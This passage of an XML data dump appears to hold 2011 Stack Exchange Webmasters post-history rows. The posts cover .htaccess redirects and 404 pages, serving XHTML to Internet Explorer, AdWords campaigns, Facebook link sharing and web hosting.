if there's a reliable method of sniffing the browser and modifying the start of the document (so only sending the `&lt;?xml-stylesheet ...&gt;` bit to IE) then that would be an acceptable alternative.&#xD;&#xA;&#xD;&#xA;(I hope I have the right SE site ... please let me know if I'm in the wrong place.  Ditto with the tags.)" />
  <row Id="43487" PostHistoryTypeId="1" PostId="17980" RevisionGUID="f5ecd6d2-5fbf-41b4-b82f-87b5acca35f6" CreationDate="2011-08-09T13:48:06.497" UserId="9477" Text="How do I server XHTML to Internet Explorer without breaking Chrome?" />
  <row Id="43488" PostHistoryTypeId="3" PostId="17980" RevisionGUID="f5ecd6d2-5fbf-41b4-b82f-87b5acca35f6" CreationDate="2011-08-09T13:48:06.497" UserId="9477" Text="&lt;internet-explorer&gt;&lt;xhtml&gt;" />
  <row Id="43489" PostHistoryTypeId="2" PostId="17981" RevisionGUID="42cfeb14-0850-4c4d-ada2-85cb63379025" CreationDate="2011-08-09T14:08:55.603" UserId="9054" Text="The down side to the suggestions so far is that they all require visiting each html page to add code. Sounds to me like the short answer is that you DO have to touch every page.&#xD;&#xA;&#xD;&#xA;Ok, maybe I am being overly simplistic, but what about using a find &amp; replace utility? &#xD;&#xA;Chances are that whatever software you use has find &amp; replace functionality, and you can add something to every page quickly. For instance, if you want it to be the last thing before the &lt;/body&gt; tag, just find that tag and replace it with the code you wish to insert plus the &lt;/body&gt; tag.&#xD;&#xA;&#xD;&#xA;Placing the GA code in a js file or a ssi file might be a big help down the road for any changes you need to make. That way you would only have to touch one file instead of revisiting all of them." />
  <row Id="43490" PostHistoryTypeId="4" PostId="17980" RevisionGUID="d049d7a4-de00-40c1-889d-c09a4c18b177" CreationDate="2011-08-09T14:31:35.973" UserId="9477" Comment="corrected title typo" Text="How do I serve XHTML to Internet Explorer without breaking Chrome?" />
  <row Id="43491" PostHistoryTypeId="2" PostId="17982" RevisionGUID="5f5398f5-ce7a-4437-911c-ee7a1b1d2122" CreationDate="2011-08-09T14:48:55.070" UserId="6113" Text="You should also map older URLs to new ones using 301 redirects." />
  <row Id="43492" PostHistoryTypeId="2" PostId="17983" RevisionGUID="fea1812a-ee30-4673-a54a-fadf8a529723" CreationDate="2011-08-09T15:24:48.710" UserId="1253" Text="If you [submit a page to be viewed as Googlebot it will also trigger indexing][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2011/08/submit-urls-to-google-with-fetch-as.html?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:%20blogspot/amDG%20%28Official%20Google%20Webmaster%20Central%20Blog%29" />
  <row Id="43493" PostHistoryTypeId="25" PostId="17980" RevisionGUID="abe34cd7-5f51-408a-8445-b14da94d9dfd" CreationDate="2011-08-09T15:34:13.093" Comment="http://twitter.com/#!/StackWebmasters/status/100953030647758848" />
  <row Id="43494" PostHistoryTypeId="5" PostId="16486" RevisionGUID="63e7dcb9-b479-408f-b11a-76c55bb84658" CreationDate="2011-08-09T15:38:01.513" UserId="7801" Comment="added 121 characters in body" Text="I've tried several times to get my head around this but failed everytime!!&#xD;&#xA;&#xD;&#xA;I want to setup a working environment for creating websites that is efficient and straight forward to use. It needs to include version control and automatic backups as well as the ability to create and edit files.&#xD;&#xA;&#xD;&#xA;The software list I have is:&#xD;&#xA;&#xD;&#xA;1. Coda/Dreamweaver - for file editing.&#xD;&#xA;2. Transmit - FTP client&#xD;&#xA;&#xD;&#xA;The software I'm missing is:&#xD;&#xA;&#xD;&#xA;1. Something for version control.&#xD;&#xA;2. Something for automatic backups of both the files and database of the websites.&#xD;&#xA;3. The ability to edit live files rather than FTP them down, edit, then FTP back up again.&#xD;&#xA;&#xD;&#xA;Is there anything else that may be useful to include?&#xD;&#xA;&#xD;&#xA;Ideally I'd like this as integrated as possible. I may also need some hand holding through the whole process!&#xD;&#xA;&#xD;&#xA;**The most important aspect is that I'm on a Mac.**&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;One thing I forgot to mention is that I'm running several different sites with a mixture of static html and Wordpress.&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;After taking Nick's advice I jumped straight in and tried his setup out, haven't looked back since! Amazing." />
  <row Id="43495" PostHistoryTypeId="2" PostId="17984" RevisionGUID="c407e013-2dfc-492a-8846-ca34db566d48" CreationDate="2011-08-09T17:16:24.530" UserId="9482" Text="I want to use JSF with Facelets/JSP in my website. Can I get Java hosting in shared hosting plans ? &#xD;&#xA;&#xD;&#xA;I want to re-develop a company website for my client. Currently the website uses PHP &amp; is hosted on Dreamhost." />
  <row Id="43496" PostHistoryTypeId="1" PostId="17984" RevisionGUID="c407e013-2dfc-492a-8846-ca34db566d48" CreationDate="2011-08-09T17:16:24.530" UserId="9482" Text="Can I get JSP/ JSF hosting in shared hosting plans?" />
  <row Id="43497" PostHistoryTypeId="3" PostId="17984" RevisionGUID="c407e013-2dfc-492a-8846-ca34db566d48" CreationDate="2011-08-09T17:16:24.530" UserId="9482" Text="&lt;web-hosting&gt;&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="43498" PostHistoryTypeId="2" PostId="17985" RevisionGUID="08f13a8a-74b9-492e-bce5-49c35c2155d4" CreationDate="2011-08-09T18:02:28.637" UserId="8950" Text="Along with data on your website, AdSense also usually indexes/checks the cookie listing the topics of sites your visitors have been to, so even with the changing queries, Google still can fallback to the statistics from the network and your visitors to make an educated guess as to what should be shown.&#xD;&#xA;&#xD;&#xA;The PSA ads typically come up unintentionally when Google has yet to index your page for the first time or when it doesn't have at least a (very) lowball estimate for ads." />
  <row Id="43499" PostHistoryTypeId="25" PostId="17958" RevisionGUID="d5d0232c-3d99-4b57-ba72-34362c9fcb34" CreationDate="2011-08-09T18:34:13.503" Comment="http://twitter.com/#!/StackWebmasters/status/100998332935184385" />
  <row Id="43500" PostHistoryTypeId="2" PostId="17986" RevisionGUID="3e38372c-78b0-4505-ba17-a4cb623c2cde" CreationDate="2011-08-09T20:23:46.913" UserId="3585" Text="Our site offers several families of products, all of which have a common set of configurations.  For simplicity's sake, we'll say we offer products A,B, and C , each with configurations 1,2, and 3&#xD;&#xA;&#xD;&#xA; - Products: A,B,C&#xD;&#xA; - Configs: 1,2,3&#xD;&#xA;&#xD;&#xA;We want to create landing page &lt;-&gt; ad group combinations that reflect each possible combination of product and config. Each product and each config have their own copy, and so each landing page would have include the product copy and the config copy:&#xD;&#xA;&#xD;&#xA; - ourproducts.com/A-1 (Contains copy for A and 1) &#xD;&#xA; - ourproducts.com/A-2  &#xD;&#xA; - ourproducts.com/A-3 &#xD;&#xA; - ourproducts.com/B-1 &#xD;&#xA; - ... etc...&#xD;&#xA;&#xD;&#xA;As you can see, this will lead to duplicate copy across our product pages, though in different combinations.  My question is, does this matter from an AdWords point of view- will there be any negative consequence to repeating portions of copy this way?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43501" PostHistoryTypeId="1" PostId="17986" RevisionGUID="3e38372c-78b0-4505-ba17-a4cb623c2cde" CreationDate="2011-08-09T20:23:46.913" UserId="3585" Text="Does Google AdWords care about duplicate content?" />
  <row Id="43502" PostHistoryTypeId="3" PostId="17986" RevisionGUID="3e38372c-78b0-4505-ba17-a4cb623c2cde" CreationDate="2011-08-09T20:23:46.913" UserId="3585" Text="&lt;web-development&gt;&lt;duplicate-content&gt;&lt;adwords&gt;" />
  <row Id="43503" PostHistoryTypeId="25" PostId="2668" RevisionGUID="58b3b83f-d77a-4759-b4b2-612ecbf73ef5" CreationDate="2011-08-09T20:34:13.370" Comment="http://twitter.com/#!/StackWebmasters/status/101028532205010944" />
  <row Id="43504" PostHistoryTypeId="2" PostId="17987" RevisionGUID="b5199209-3728-419b-8b45-af9de03d56c3" CreationDate="2011-08-09T21:16:49.977" UserId="5464" Text="The data only goes back about 1 month so first off i would start collecting it each month so you can begin to track things over time. This could help you spot seasonal changes. &#xD;&#xA;&#xD;&#xA;I would then start by reviewing all the pages with high impressions and a reasonable average position as these should be easier to enhance and hopefully gain click through / rankings. &#xD;&#xA;&#xD;&#xA;Pages with low impression but high clicks could point to more long tail keywords which i would not see as a bad sign. &#xD;&#xA;&#xD;&#xA;You might also want to tie this in with your other keyword data to see if you are ranking / doing well for the phrases you would expect. This could also open up other opportunities for other content generation. &#xD;&#xA;&#xD;&#xA;Also if you click through on the query you can get a better idea of the pages being served and therefore help to focus your efforts - it will also help identify if you are focusing keywords on too many pages. " />
  <row Id="43505" PostHistoryTypeId="2" PostId="17988" RevisionGUID="6397821f-f179-4cca-a80d-05c4c3c44a96" CreationDate="2011-08-09T21:58:27.013" UserId="9486" Text="The site is run on wordpress (latest) and is installed in /htdocs/www/&#xD;&#xA;This htaccess file is in /htdocs/www/roh/ along with a bunch of images &amp; some css.&#xD;&#xA;&#xD;&#xA;I want requests to the old html files to redirect to their new wordpress pages. I got most of it working, except the example below.&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /htdocs/www&#xD;&#xA;    ErrorDocument 404 /htdocs/www/&#xD;&#xA;    Redirect /roh/z1/q2lvl[1-9].html http://www.lunaz.com/realms-of-hyrule/legend-of-zelda/maps&#xD;&#xA;&#xD;&#xA;I go to www.lunaz.com/roh/z1/q2lvl2.html, and it 404s and takes me to the main 404 page in my wordpress theme.&#xD;&#xA;&#xD;&#xA;I tried ErrorDocument 404 /htdocs/www/roh/404.html, but that just got me an isp redirected spam search page. The only way I got the main wordpress 404 page working was by going up directories untill something worked. I do not want to send 404s to an http:// address.&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA;1. Why doesn't the range of numbers [1-9] work?&#xD;&#xA;&#xD;&#xA;2. Why can't I get /htdocs/www/roh/404.html working for anything in /roh &amp; below?&#xD;&#xA;&#xD;&#xA;Sorry for the basic questions, Not exatly sure what to search for, so Google is only giving me examples I've tried or have working already." />
  <row Id="43506" PostHistoryTypeId="1" PostId="17988" RevisionGUID="6397821f-f179-4cca-a80d-05c4c3c44a96" CreationDate="2011-08-09T21:58:27.013" UserId="9486" Text="Htaccess 404 &amp; 301" />
  <row Id="43507" PostHistoryTypeId="3" PostId="17988" RevisionGUID="6397821f-f179-4cca-a80d-05c4c3c44a96" CreationDate="2011-08-09T21:58:27.013" UserId="9486" Text="&lt;htaccess&gt;&lt;redirects&gt;&lt;404&gt;" />
  <row Id="43508" PostHistoryTypeId="2" PostId="17989" RevisionGUID="546a97cd-3c2a-451c-abd8-48f0d885cb17" CreationDate="2011-08-09T22:24:10.680" UserId="8354" Text="1. Use `RedirectMatch` directive instead. `Redirect` does strict string comparison while `RedirectMatch` uses regular expressions and therefore can be &quot;dynamic&quot;.&#xD;&#xA;&#xD;&#xA; `RedirectMatch 301 /roh/z1/q2lvl[1-9].html http://www.lunaz.com/realms-of-hyrule/legend-of-zelda/maps`&#xD;&#xA;&#xD;&#xA; BTW, if you are using `Redirect` and/or `RedirectMatch` directives only, then no need for `RewriteEngine on` (those are from 2 different modules).&#xD;&#xA;&#xD;&#xA;2. Not sure -- but maybe because RewriteRules from folder above come into play... Rewrite debugging usually can shed some light on what is going on (it can show which 404 file Apache is trying to use, as rewrite rules got applied to it as well).. but for that you have to be able to edit server config or virtual host config." />
  <row Id="43509" PostHistoryTypeId="25" PostId="17175" RevisionGUID="6984e92b-3801-4faf-a17f-5d756dd92e93" CreationDate="2011-08-09T22:34:13.820" Comment="http://twitter.com/#!/StackWebmasters/status/101058731038613504" />
  <row Id="43510" PostHistoryTypeId="2" PostId="17990" RevisionGUID="c97bf00f-5eaf-4e09-b574-7cf16edd80d2" CreationDate="2011-08-09T22:51:29.393" UserId="9395" Text="i'm trying to add a facebook connect button to pages other than jomsocial's frontpage and it seems that i should be using the module mod_jomsocialconnect, but it isn't in my ~/modules folder.&#xD;&#xA;&#xD;&#xA;anyone know:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;if in newer versions of joomla and jomsocial if the module should be there but isn't or if it's been moved/renamed/fused with other code...&lt;/li&gt;&#xD;&#xA;&lt;li&gt;how i might go about getting a working &quot;login through facebook&quot; button in my login module (through pre/post text etc.) or basically anywhere else preferably without buying something like JFBConnect&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;i have spent quite awhile on google and documentation on jomsocial, joomla, and facebook. any help appreciated!" />
  <row Id="43511" PostHistoryTypeId="1" PostId="17990" RevisionGUID="c97bf00f-5eaf-4e09-b574-7cf16edd80d2" CreationDate="2011-08-09T22:51:29.393" UserId="9395" Text="jomsocial connect module in joomla 1.6 w/ jomsocial 2.2.3 seems to be missing" />
  <row Id="43512" PostHistoryTypeId="3" PostId="17990" RevisionGUID="c97bf00f-5eaf-4e09-b574-7cf16edd80d2" CreationDate="2011-08-09T22:51:29.393" UserId="9395" Text="&lt;facebook&gt;&lt;joomla&gt;" />
  <row Id="43513" PostHistoryTypeId="25" PostId="17955" RevisionGUID="59d52912-2977-4875-a379-1eeb2636186e" CreationDate="2011-08-10T00:34:13.750" Comment="http://twitter.com/#!/StackWebmasters/status/101088930488778752" />
  <row Id="43514" PostHistoryTypeId="2" PostId="17991" RevisionGUID="f95b19f9-7324-431d-8875-a559e5009587" CreationDate="2011-08-10T01:36:01.793" UserId="9488" Text="I'd thought this would be rather simple to figure out, but I can't :) Any ideas why these two sites I manage differ? When I try to share links from these two sites, it works fine for eiriksandvik.no, but for atletiskutvikling.no I can only choose from 1 image on Facebook when trying to share it. Ideas?&#xD;&#xA;&#xD;&#xA;atletiskutvikling.no/en-knallgod-ovelse-for-hoftemobilitet-hoftestabilitet-og-generell-funksjonalitet/&#xD;&#xA;eiriksandvik.no/en-oppdatering-rundt-min-trening-og-mine-malsetninger/&#xD;&#xA;&#xD;&#xA;Incorrect: http://skriblerier.net/test.png&#xD;&#xA;Correct: http://skriblerier.net/test2.png" />
  <row Id="43515" PostHistoryTypeId="1" PostId="17991" RevisionGUID="f95b19f9-7324-431d-8875-a559e5009587" CreationDate="2011-08-10T01:36:01.793" UserId="9488" Text="Only one image available when sharing links on Facebook" />
  <row Id="43516" PostHistoryTypeId="3" PostId="17991" RevisionGUID="f95b19f9-7324-431d-8875-a559e5009587" CreationDate="2011-08-10T01:36:01.793" UserId="9488" Text="&lt;facebook&gt;" />
  <row Id="43517" PostHistoryTypeId="25" PostId="16716" RevisionGUID="b316fc34-b223-4504-97b7-1edce716076d" CreationDate="2011-08-10T02:34:13.383" Comment="http://twitter.com/#!/StackWebmasters/status/101119128437399552" />
  <row Id="43518" PostHistoryTypeId="2" PostId="17992" RevisionGUID="bd42e193-d9a8-45fe-867b-d0f61086eec0" CreationDate="2011-08-10T02:48:18.513" UserId="9489" Text="Is it possible to have a campaign covering lots of countries / lots of different time zones, and to have ads showing only during particular times of day as per those time zones -- for example between 9a and 5p for each time zone?" />
  <row Id="43519" PostHistoryTypeId="1" PostId="17992" RevisionGUID="bd42e193-d9a8-45fe-867b-d0f61086eec0" CreationDate="2011-08-10T02:48:18.513" UserId="9489" Text="In Adwords is it possible show ads during particular times for multiple time zones" />
  <row Id="43520" PostHistoryTypeId="3" PostId="17992" RevisionGUID="bd42e193-d9a8-45fe-867b-d0f61086eec0" CreationDate="2011-08-10T02:48:18.513" UserId="9489" Text="&lt;adwords&gt;" />
  <row Id="43521" PostHistoryTypeId="2" PostId="17993" RevisionGUID="73b20db8-b2ef-44b5-90ed-aea3f6238a89" CreationDate="2011-08-10T03:26:20.310" UserId="9490" Text="I am a web design self-learning student I am searching for some books.&#xD;&#xA;Because i am a almost complete newbie i dont have an idea where to star searching books &#xD;&#xA;i Know HTML &amp; CSS and have nice skills with photoshop i am searching for some books or references for typhography and color theory, photoshop techniques and JQuery and some books for beginners&#xD;&#xA;&#xD;&#xA;so tell me guys can you recommend me some good books?&#xD;&#xA;Sorry for my bad english." />
  <row Id="43522" PostHistoryTypeId="1" PostId="17993" RevisionGUID="73b20db8-b2ef-44b5-90ed-aea3f6238a89" CreationDate="2011-08-10T03:26:20.310" UserId="9490" Text="Web Designer Searching for Books" />
  <row Id="43523" PostHistoryTypeId="3" PostId="17993" RevisionGUID="73b20db8-b2ef-44b5-90ed-aea3f6238a89" CreationDate="2011-08-10T03:26:20.310" UserId="9490" Text="&lt;website-design&gt;&lt;jquery&gt;&lt;photoshop&gt;&lt;books&gt;" />
  <row Id="43524" PostHistoryTypeId="2" PostId="17994" RevisionGUID="17ab362b-bb8e-455b-a673-b2713d3323f5" CreationDate="2011-08-10T03:29:47.230" UserId="9476" Text="Personally i don't use XAMPP, but i use WAMP as my test server, it is perfect for my needs since you can enable/disable mods on the run.&#xD;&#xA;&#xD;&#xA;If you don't use the Perl install in XAMPP you should maybe check out WAMP at http://www.wampserver.com/en/&#xD;&#xA;&#xD;&#xA;Also i read that XAMPP could have problems with file permissions on Windows at &#xD;&#xA;http://www.magentocommerce.com/wiki/1_-_installation_and_configuration/installing_on_windows_with_xampp_and_wamp" />
  <row Id="43525" PostHistoryTypeId="25" PostId="17957" RevisionGUID="03983391-0ef4-47e2-bd46-580d77b7de45" CreationDate="2011-08-10T04:34:13.967" Comment="http://twitter.com/#!/StackWebmasters/status/101149328424448000" />
  <row Id="43526" PostHistoryTypeId="2" PostId="17995" RevisionGUID="90e52184-2ef7-430e-89ba-f28bd73ebceb" CreationDate="2011-08-10T04:40:05.143" UserId="8006" Text="i recently upgraded a shopsystem to prestashop and imported the previous products (~1200), and i managed to keep the old category_id and product_id. I'm trying to set up those 2 rules to redirect all my old incoming links to the new page, however for some reason they always end up on the 404 page instead. &#xD;&#xA;So my old link was &#xD;&#xA;&#xD;&#xA;    detail.php?artikel_id=123&#xD;&#xA;&#xD;&#xA;and now this product became &#xD;&#xA;&#xD;&#xA;    product.php?id_product=123&#xD;&#xA;&#xD;&#xA;here is my .htaccess:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    # URL rewriting module activation&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    # URL rewriting rules&#xD;&#xA;    RewriteRule ^api/?(.*)$ /prestashop/webservice/dispatcher.php?url=$1 [QSA,L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^/prestashop/index\.php?artikeltyp=([0-9]+)$ /prestashop/category.php?id_category=$1 [L]&#xD;&#xA;    RewriteRule ^/index\.php?artikeltyp=([0-9]+)$ /prestashop/category.php?id_category=$1 [L]&#xD;&#xA;    RewriteRule ^/prestashop/detail\.php?artikel_id=([0-9]+)$ /prestashop/product.php?id_product=$1 [L]&#xD;&#xA;    RewriteRule ^/detail\.php?artikel_id=([0-9]+)$ /prestashop/product.php?id_product=$1 [L]&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    # Catch 404 errors&#xD;&#xA;    ErrorDocument 404 /prestashop/404.php&#xD;&#xA;&#xD;&#xA;note that this is my test installation at my laptop, and the new shop is currently set up under &quot;http://localhost/prestashop/&quot;. I tried it with and without the /prestashop/ in the rules, no effect. My .htaccess is in `http://localhost/prestashop/.htaccess`.&#xD;&#xA;&#xD;&#xA;any idea what i do wrong here? Did i escape it correct? how can i find out where it actually tries to redirect to me before i get the 404?&#xD;&#xA;" />
  <row Id="43527" PostHistoryTypeId="1" PostId="17995" RevisionGUID="90e52184-2ef7-430e-89ba-f28bd73ebceb" CreationDate="2011-08-10T04:40:05.143" UserId="8006" Text="having trouble redirecting old product sites and categories to new pages" />
  <row Id="43528" PostHistoryTypeId="3" PostId="17995" RevisionGUID="90e52184-2ef7-430e-89ba-f28bd73ebceb" CreationDate="2011-08-10T04:40:05.143" UserId="8006" Text="&lt;htaccess&gt;&lt;redirects&gt;&lt;mod-rewrite&gt;&lt;url-rewriting&gt;" />
  <row Id="43529" PostHistoryTypeId="5" PostId="17986" RevisionGUID="90f0a62d-fb0b-4337-8743-6b0579e08c28" CreationDate="2011-08-10T05:14:57.880" UserId="9476" Comment="Made the post easier to understand" Text="Our site offers several families of products, all of which have a common set of configurations.  For simplicity's sake, we'll say we offer products A, B and C, each with configurations 1, 2 and 3&#xD;&#xA;&#xD;&#xA; - Products: A, B, C&#xD;&#xA; - Configurations: 1, 2, 3&#xD;&#xA;&#xD;&#xA;We want to create landing page &lt;-&gt; ad group combinations that reflect each possible combination of each product and configuration. Each product and each configuration have their own page, and so each landing page would have include the product content and the configuration content:&#xD;&#xA;&#xD;&#xA; - ourproducts.com/A-1 (Contains copy for A and 1) &#xD;&#xA; - ourproducts.com/A-2  &#xD;&#xA; - ourproducts.com/A-3 &#xD;&#xA; - ourproducts.com/B-1 &#xD;&#xA; - ... etc...&#xD;&#xA;&#xD;&#xA;As you can see, this will lead to duplicate content across our product pages, though in different combinations.  My question is, does this matter from AdWords point of view?&#xD;&#xA;&#xD;&#xA;Will there be any negative consequence to repeating portions of content this way?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43530" PostHistoryTypeId="24" PostId="17986" RevisionGUID="90f0a62d-fb0b-4337-8743-6b0579e08c28" CreationDate="2011-08-10T05:14:57.880" Comment="Proposed by 9476 approved by 1064 edit id of 480" />
  <row Id="43531" PostHistoryTypeId="10" PostId="17993" RevisionGUID="d9ec6aff-2cb9-4549-a322-eaf66b690839" CreationDate="2011-08-10T05:23:22.957" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="43532" PostHistoryTypeId="17" PostId="17996" RevisionGUID="c4da91c3-238f-470d-9530-aa9b4f27f861" CreationDate="2011-08-10T05:48:59.297" UserId="-1" Comment="from http://stackoverflow.com/questions/7004074/404-working-only-with-wrong-extension" Text="" />
  <row Id="43533" PostHistoryTypeId="2" PostId="17996" RevisionGUID="9ec4528f-a792-4eef-8313-90aa4510b5d5" CreationDate="2011-08-09T23:03:44.453" UserDisplayName="maanu" Text="My 404  .htaccess working very well when I put wrong extension instead of .php.&#xD;&#xA;&#xD;&#xA;unfortunately 404 does not working with when I put wrong name with .php :( &#xD;&#xA;&#xD;&#xA;this is my htaccess code&#xD;&#xA;&#xD;&#xA;    &lt;Files ~ &quot;^.(htaccess|htpasswd)$&quot;&gt;&#xD;&#xA;    deny from all&#xD;&#xA;    &lt;/Files&gt;&#xD;&#xA;    Options -Indexes&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\..* [NC]&#xD;&#xA;    RewriteRule ^(.*) http://www.%{HTTP_HOST}/$1 [R=301]&#xD;&#xA;    &#xD;&#xA;    ErrorDocument 404 /404/notfound.html&#xD;&#xA;    order deny,allow" />
  <row Id="43534" PostHistoryTypeId="1" PostId="17996" RevisionGUID="9ec4528f-a792-4eef-8313-90aa4510b5d5" CreationDate="2011-08-09T23:03:44.453" UserDisplayName="maanu" Text="404 working only with wrong extension" />
  <row Id="43535" PostHistoryTypeId="3" PostId="17996" RevisionGUID="9ec4528f-a792-4eef-8313-90aa4510b5d5" CreationDate="2011-08-09T23:03:44.453" UserDisplayName="maanu" Text="&lt;php&gt;&lt;apache&gt;" />
  <row Id="43536" PostHistoryTypeId="2" PostId="17997" RevisionGUID="311953fa-1db5-467f-8b20-43cf9456f94e" CreationDate="2011-08-10T06:01:18.380" UserId="6113" Text="Try removing &quot;/prestashop&quot; from your rewrite rules but add&#xD;&#xA;&#xD;&#xA;    RewriteBase /prestashop&#xD;&#xA;&#xD;&#xA;just after:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;&#xD;&#xA;Also, you can read about RewriteBase here:&#xD;&#xA;&#xD;&#xA;[http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewritebase][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewritebase" />
  <row Id="43537" PostHistoryTypeId="17" PostId="17998" RevisionGUID="0677891c-066a-4405-85e3-644259174e8a" CreationDate="2011-08-10T06:09:06.877" UserId="-1" Comment="from http://stackoverflow.com/questions/7003696/how-to-make-mod-rewrite-work-transparently" Text="" />
  <row Id="43538" PostHistoryTypeId="17" PostId="17999" RevisionGUID="2600f086-9cb4-40d2-8002-08c68fa0e0e1" CreationDate="2011-08-10T06:09:06.877" UserId="-1" Comment="from http://stackoverflow.com/questions/7003696/how-to-make-mod-rewrite-work-transparently" Text="" />
  <row Id="43539" PostHistoryTypeId="2" PostId="17999" RevisionGUID="b507f541-d1ba-4523-bb1b-8dc20fbede75" CreationDate="2011-08-09T22:19:36.897" UserId="9494" UserDisplayName="Jacek_FH" Text="You can't use absolute urls&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(.+)\.oomail\.org$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ /%1 [L]" />
  <row Id="43540" PostHistoryTypeId="2" PostId="17998" RevisionGUID="e6e47f6d-aa1e-4999-a8dc-c709efb7e7f1" CreationDate="2011-08-09T22:16:14.283" UserId="9492" UserDisplayName="RAHUL PRASAD" Text="Following is the content of .htaccess file&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;      Options +FollowSymLinks&#xD;&#xA;      Options +Indexes&#xD;&#xA;      RewriteEngine On&#xD;&#xA;      RewriteBase /&#xD;&#xA;      RewriteCond %{HTTP_HOST} ^(.+)\.oomail\.org$ [NC]&#xD;&#xA;      RewriteRule ^(.*)$ http://oomail.org/%1 [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;My purpose is to map all subdomain to folder.&#xD;&#xA;For example if a1.oomail.org is opened it should show the content of oomail.org/x1&#xD;&#xA;But URL should not change. &lt;br&gt;&#xD;&#xA;But whenever I open a1.oomail.org URL is automatically getting changed. How can I prevent it?" />
  <row Id="43541" PostHistoryTypeId="1" PostId="17998" RevisionGUID="e6e47f6d-aa1e-4999-a8dc-c709efb7e7f1" CreationDate="2011-08-09T22:16:14.283" UserId="9492" UserDisplayName="RAHUL PRASAD" Text="How to make mod_rewrite work transparently?" />
  <row Id="43542" PostHistoryTypeId="3" PostId="17998" RevisionGUID="e6e47f6d-aa1e-4999-a8dc-c709efb7e7f1" CreationDate="2011-08-09T22:16:14.283" UserId="9492" UserDisplayName="RAHUL PRASAD" Text="&lt;linux&gt;&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="43543" PostHistoryTypeId="25" PostId="9872" RevisionGUID="abf17314-b247-4696-b56d-ed4416ef5c32" CreationDate="2011-08-10T06:34:14.020" Comment="http://twitter.com/#!/StackWebmasters/status/101179530177286144" />
  <row Id="43544" PostHistoryTypeId="2" PostId="18000" RevisionGUID="038a50f1-2203-493c-bb3d-3fd04e8bfd5a" CreationDate="2011-08-10T07:41:39.370" UserId="9489" Text="Is it possible to have identical campaigns except for one thing, and whenever changes are made to one campaign, the same changes are automatically made to others?&#xD;&#xA;&#xD;&#xA;I want to have identical campaigns running for different time zones, but for the campaigns only to run between particular hours of the day in each time zone.&#xD;&#xA;&#xD;&#xA;If I have a campaign for each time zone, when I make changes to one campaign, such as adding ad groups, or adding keywords, or changing bid amounts, etc, I want those changes to occur to the other campaigns also.&#xD;&#xA;&#xD;&#xA;Is this possible?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="43545" PostHistoryTypeId="1" PostId="18000" RevisionGUID="038a50f1-2203-493c-bb3d-3fd04e8bfd5a" CreationDate="2011-08-10T07:41:39.370" UserId="9489" Text="Adwords: is it possible to automatically copy changes in one campaign to other campaigns?" />
  <row Id="43546" PostHistoryTypeId="3" PostId="18000" RevisionGUID="038a50f1-2203-493c-bb3d-3fd04e8bfd5a" CreationDate="2011-08-10T07:41:39.370" UserId="9489" Text="&lt;adwords&gt;" />
  <row Id="43547" PostHistoryTypeId="2" PostId="18001" RevisionGUID="3463f156-071b-41b7-b9be-cd8862094747" CreationDate="2011-08-10T07:56:22.373" UserId="9495" Text="Is liquid layout (everything in % and font-size in 'em') good or creating multiple css file for different resolutions or browsers with help of Javascript good?&#xD;&#xA;&#xD;&#xA;I am a aspiring web designer, and want create a universal accessible web pages? &#xD;&#xA;&#xD;&#xA;Please share your knowledge with me... &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="43548" PostHistoryTypeId="1" PostId="18001" RevisionGUID="3463f156-071b-41b7-b9be-cd8862094747" CreationDate="2011-08-10T07:56:22.373" UserId="9495" Text="Is liquid layout good or creating multiple css file for universal accessibility of web pages?" />
  <row Id="43549" PostHistoryTypeId="3" PostId="18001" RevisionGUID="3463f156-071b-41b7-b9be-cd8862094747" CreationDate="2011-08-10T07:56:22.373" UserId="9495" Text="&lt;html&gt;&lt;css&gt;&lt;browsers&gt;&lt;web-design&gt;" />
  <row Id="43550" PostHistoryTypeId="25" PostId="17090" RevisionGUID="7f198170-4834-42c1-9f66-ff2c2eb67137" CreationDate="2011-08-10T08:34:14.793" Comment="http://twitter.com/#!/StackWebmasters/status/101209730386632704" />
